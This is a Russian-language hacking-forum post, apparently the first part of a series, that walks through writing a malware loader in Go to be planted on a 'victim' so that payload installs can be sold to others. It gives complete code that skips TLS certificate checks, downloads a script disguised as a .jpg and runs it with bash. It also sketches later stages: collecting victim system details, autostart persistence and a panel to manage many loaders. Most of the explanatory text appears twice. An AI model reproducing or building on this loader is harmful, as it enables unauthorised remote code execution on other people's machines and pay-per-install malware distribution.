dark2strike
Green Team
Решил попробовать написать простейшие утилиты на одном из самых быстрых и современных языков программирования. Опережая всякие нападки гуру-хэйтеров замечу, что на Go я пишу впервые и данную задачку взял исключительно для того что бы посмотреть на язык.
Итак, самая простая программка, нужная в хак индустрии, это загрузчик, который можно различными способами внедрить жертве, а затем продать загрузку нужной программки любому нуждающемуся. Но мы постараемся(в следующих частях) так же написать какую-то полезную нагрузку, которую сможем загружать на втором этапе.
Теперь немного об архитектуре. Поскольку заранее не известно что потребуется загружать жертве, приходится придумывать что-то более универсальное. Думаю, что наиболее универсальным будет механизм загрузки bash скрипта, в котором уже можно загружать и запускать любой другой софт или скрипты. Напоминаю, что мы просто тренируемся, а в реальной жизни излишне делать промежуточное звено в виде bash скрипта, проще сразу загружать и запускать бинарный код. Нам же это промежуточное звено позволит подняться одним уровнем абстракции выше и снизить тем самым порог входа и понимания происходящего.
Стандартная структура кода на языке Го выглядит примерно так:
То есть сначала мы объявляем к какому пакету относится наш код. В данном случае это просто main. Затем указываем все модули, которые нужно импортировать для доступа к дополнительным возможностям. А весь исполняемый код следует разместить внутри одной или нескольких функций.
Итак, нам пондобится следующий набор модулей:
Первая функция будет простым обработчиком ошибок:
То есть, когда аргумент функции(переменная с кодом ошибки, переданная в функцию) содержит хоть что-то, вывести это что-то на экран.
Вторая функция будет запускать загруженный скрипт:
На вход принимаем строку пути до скрипта. Собираем команду для запуска из пути до бинарника баша и аргумента в виде пути до скрипта. Указываем куда направлять аутпут выполненной команды и пытаемся запустить каоманду. В конце проверяем ошибку нашей кастомной функцией и печатаем на экран аутпут выполнения команды.
Почти всё готово, осталось написать лишь основную функцию main.
Это основная функция, которая запускается сразу после начала исполнения кода. Она не имеет аргументов. По рекомендации из документации для более точного контроля http сессии, TLS-шифрования или компрессии траффика нам нужно использовать транспорт, где мы сообщаем, что хотим игнорировать все ошибки SSL сертификатов(для тестов используется самоподписанный сертификат). Вообще шифрованный вариант протокола HTTP современный стандарт дефакто и нужно уметь с ним работать, даже если ты сам или какой-то админ забыл продлить сертификат для своего домена.
После настройки параметров транспорта создадим клиент на основе этого транспорта и сделаем GET запрос на адрес upload.go(прописал для тестов в /etc/hosts свой локалхост с этим доменом "127.0.0.1 upload.go" и чуть ранее поднял веб-сервер, самый простой способ сделать это питоновским ванлйнером "sudo python3 -m http.server 80" который будет просто отдавать файлы из каталога в котором он запущен).
Проверяем на ошибки, закрываем соединение с веб-сервером и считываем тело ответа веб-сервера в переменную. Затем сохраняем скачанные данные в файл, а в самом конце просто запускем сохранённый скрипт нашей кастомной функцией запуска.
По идее сейчас нам стоит получить максимум информации о системе, в которой мы оказались. В связи с этим первый вопрос к аудитории, какую именно информацию стоило бы собрать в первую очередь?
Я пока придумал лишь такой перечень:
- Внешний IP
- Внутренний IP
- Железо (Проц, память, диски)
- Уровень загруженности системы (Типа забытая богом система или активно используемый сервер)
Так же следует продумать средства автозапуска нашего аплоадера, а так же способ проверки того, что мы уже загрузили необходимый код на систему и новый пока загружать пытаться не стоит. Ещё интересно подумать над панелью управления аплоадерами, ведь их будет много.
На основе ваших комментариев в следующей статье родим скрипт, который будет собирать всю необходимую инфу, а так же загружать и запускать полезную нагрузку.
Разумеется, вместо запуска баш скрипта, можно коротким движением рук модифицировать скрипт для скачивания кода на го, компиляции его и запуска. А можно скачивать и запускать уже скомилированный бинарник. Тут нас ничего не ограничивает.
Итак, самая простая программка, нужная в хак индустрии, это загрузчик, который можно различными способами внедрить жертве, а затем продать загрузку нужной программки любому нуждающемуся. Но мы постараемся(в следующих частях) так же написать какую-то полезную нагрузку, которую сможем загружать на втором этапе.
Теперь немного об архитектуре. Поскольку заранее не известно что потребуется загружать жертве, приходится придумывать что-то более универсальное. Думаю, что наиболее универсальным будет механизм загрузки bash скрипта, в котором уже можно загружать и запускать любой другой софт или скрипты. Напоминаю, что мы просто тренируемся, а в реальной жизни излишне делать промежуточное звено в виде bash скрипта, проще сразу загружать и запускать бинарный код. Нам же это промежуточное звено позволит подняться одним уровнем абстракции выше и снизить тем самым порог входа и понимания происходящего.
Стандартная структура кода на языке Го выглядит примерно так:
C-подобный:
package main
import (
"any/packages"
)
func main(){
pass
}
То есть сначала мы объявляем к какому пакету относится наш код. В данном случае это просто main. Затем указываем все модули, которые нужно импортировать для доступа к дополнительным возможностям. А весь исполняемый код следует разместить внутри одной или нескольких функций.
Итак, нам пондобится следующий набор модулей:
C-подобный:
import (
"fmt"
"bytes"
"net/http"
"io/ioutil"
"crypto/tls"
"os/exec"
)
Первая функция будет простым обработчиком ошибок:
C-подобный:
func check(e error){
if e != nil {
fmt.Println(e)
}
}
То есть, когда аргумент функции(переменная с кодом ошибки, переданная в функцию) содержит хоть что-то, вывести это что-то на экран.
Вторая функция будет запускать загруженный скрипт:
Код:
func run_it(script_path string) {
cmd := exec.Command("/bin/bash", script_path)
var out bytes.Buffer
cmd.Stdout = &out
err := cmd.Run()
check(err)
fmt.Printf("Result: %q\n", out.String())
}
Почти всё готово, осталось написать лишь основную функцию main.
C-подобный:
func main(){
tr := &http.Transport{
DisableCompression: false,
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
client := &http.Client{Transport: tr}
resp, err := client.Get("https://upload.go/run_it.jpg")
check(err)
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
check(err)
ferr := ioutil.WriteFile("/tmp/dat1", body, 0644)
check(ferr)
run_it("/tmp/dat1")
}
После настройки параметров транспорта создадим клиент на основе этого транспорта и сделаем GET запрос на адрес upload.go(прописал для тестов в /etc/hosts свой локалхост с этим доменом "127.0.0.1 upload.go" и чуть ранее поднял веб-сервер, самый простой способ сделать это питоновским ванлйнером "sudo python3 -m http.server 80" который будет просто отдавать файлы из каталога в котором он запущен).
Проверяем на ошибки, закрываем соединение с веб-сервером и считываем тело ответа веб-сервера в переменную. Затем сохраняем скачанные данные в файл, а в самом конце просто запускем сохранённый скрипт нашей кастомной функцией запуска.
По идее сейчас нам стоит получить максимум информации о системе, в которой мы оказались. В связи с этим первый вопрос к аудитории, какую именно информацию стоило бы собрать в первую очередь?
Я пока придумал лишь такой перечень:
- Внешний IP
- Внутренний IP
- Железо (Проц, память, диски)
- Уровень загруженности системы (Типа забытая богом система или активно используемый сервер)
Так же следует продумать средства автозапуска нашего аплоадера, а так же способ проверки того, что мы уже загрузили необходимый код на систему и новый пока загружать пытаться не стоит. Ещё интересно подумать над панелью управления аплоадерами, ведь их будет много.
На основе ваших комментариев в следующей статье родим скрипт, который будет собирать всю необходимую инфу, а так же загружать и запускать полезную нагрузку.
Разумеется, вместо запуска баш скрипта, можно коротким движением рук модифицировать скрипт для скачивания кода на го, компиляции его и запуска. А можно скачивать и запускать уже скомилированный бинарник. Тут нас ничего не ограничивает.
Последнее редактирование модератором: